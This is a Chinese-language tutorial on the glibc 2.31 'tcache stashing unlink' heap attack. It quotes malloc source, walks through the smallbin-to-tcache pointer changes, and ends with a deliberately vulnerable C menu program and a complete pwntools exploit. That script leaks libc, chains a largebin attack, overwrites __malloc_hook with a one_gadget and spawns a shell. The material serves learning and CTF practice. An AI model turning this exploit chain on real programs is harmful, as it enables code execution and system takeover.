目录
[1. Unlink 过程](#1. Unlink 过程)
[2. Tcache stash unlink 过程](#2. Tcache stash unlink 过程)
[1. 流程实操](#1. 流程实操)
[2. 相关代码](#2. 相关代码)
前言
tcache stashing unlink atttack 主要利用的是 calloc 函数会绕过 tcache 从smallbin 里取出 chunk 的特性。并且 smallbin 分配后,同大小的空闲块挂进会 tcache。攻击可实现两个效果:
1、任意地址上写一个较大的数(和unsortedbin attack 类似)
2、任意地址分配chunk
一、相关源码
cpp
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
二、过程图示
1. Unlink 过程
相比于算数(指针运算等等)我更习惯用图示,形象地展现过程。如下图所示是一个 small bin 中 chunk 块的链接情况。
当从中取出一块 chunk 时,注意,small bin 是 FIFO 组织的,会从 bk 方向索引 chunk 并取出。在这个所谓取出 chunk 的过程中,实际指针变化:
红色的是修改过的指针,可以看到,只有 ++smallbin 的 bk 指针++ 以及 ++victim->bk 的 fd 指针++,也就是上图的 chunk2 的 fd 指针进行了修改。
在这一 unlink 的过程中, 会对 (victim->bk)->fd = victim? 进行检查。因此在单纯的 unlink 过程中,劫持 bk 到 fake chunk,是很难伪造满足这一条件的。不过庆幸的是,当触发 tcache stash 的时候 ------ smallbin 中同样大小的堆块"倒灌"入对应的 tcachebin 中时,缺乏了这一检查。
2. Tcache stash unlink 过程
初始 free 掉9个 chunk 如下图
使用 malloc 让 tcachebin 中腾出两个位置,然后修改 chunk8 的 bk 指针指向 fake chunk。
当我们 calloc 一块堆块时,会越过 tcache 从 smallbin 中取 chunk
然后触发 tcache stash 将 smallbin 中的 chunk 填充到对应的 tcachebin 中,让我们慢慢填充,首先将 chunk8 填入 tcachebin
注意,填充时首先 unlink,而我们之前说过,unlink 时,会涉及到 (victim->bk)这块 chunk 上指针的修改,因此为方便描述,我们将 fake chunk 的 bk 视作另一个 fake chunk 如下图(和上图阶段一致,只是换了一种表述方式,其实结构还没变化)
然后让我们继续 tcache stash 的步骤,将 fake chunk 填入 tcache
ok,我们惊喜的发现,fake chunk 已经填入了 tcache bin,我们只需要申请一次即可将该 chunk 取出,因而实现了任意地址 malloc。
然而在最后一个过程需要注意,fake chunk2 的 "fd" 指针被修改,而 fake chunk2 又是 fake chunk 的 bk 指针指向的,该 chunk 本来就是非法的,因此我们需要保证,在触发 tcache stash 之前 fake chunk 的 bk 指向一个能够写的合法区域,否则会因为没有写权限而导致段错误。
为此,我们可以利用 largebin attack,往 fake chunk 的 bk 区域写一个堆指针。当然,这只是其中一种方法。
三、测试与模板
1. 流程实操
largebin attack 写入一个可写的指针(堆指针),满足 fake_chunk 的 bk 是一块可写区域
calloc 之前的 bin 情况:
calloc 之后,触发 tcache stash
接下来 malloc 出来 __malloc_hook 然后打 ogg 即可
2. 相关代码
cpp
// glibc-2.31
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
puts("calloc?");
int type = get_num();
chunk_list[index] = type == 1 ? calloc(1, size) : malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
python
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'
io=process('./pwn')
def add(index,size,type=0):
io.sendlineafter(b'choice:\n',b'1')
io.sendlineafter(b'index:\n',str(index).encode())
io.sendlineafter(b'size:\n',str(size).encode())
io.sendlineafter("calloc?\n", str(type).encode())
def delete(index):
io.sendlineafter(b'choice:\n',b'2')
io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
io.sendlineafter(b'choice:\n',b'3')
io.sendlineafter(b'index',str(index).encode())
io.sendlineafter(b'length:\n',str(length).encode())
io.sendafter(b'content:\n',content)
def show(index):
io.sendlineafter(b'choice:\n',b'4')
io.sendlineafter(b'index:\n',str(index).encode())
gdb.attach(io)
# leak libc
add(0,0x428)
add(1,0x10)
add(2,0x418)
add(3,0x10)
# prepare for tcache stash unlink
for i in range(9):
add(10+i,0x100)
add(4,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
# largebin attack
add(4,0x500)
edit(0,0x20,p64(0)*3+p64(libc.sym['__malloc_hook']+0x8-0x20-0x10))
info("__malloc_hook: "+hex(libc.sym['__malloc_hook']))
delete(2)
add(4,0x500)
# tcache stash unlink
for i in range(9):
delete(10+i)
add(20,0x100)
add(21,0x100)
add(4,0x500)
show(18)
valid_fd=u64(io.recv(6).ljust(8,b'\x00'))
edit(18,0x10,p64(valid_fd)+p64(libc.sym['__malloc_hook']-0x10-0x10)) # 注意要恢复fd
add(4,0x100,1)
add(0,0x100)
'''
0xc5c4a execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xc5c4d execve("/bin/sh", r13, rdx)
constraints:
[r13] == NULL || r13 == NULL || r13 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xc5c50 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
edit(0,0x18,p64(0)*2+p64(libc.address+0xc5c4d))
add(0,0x100)
io.interactive()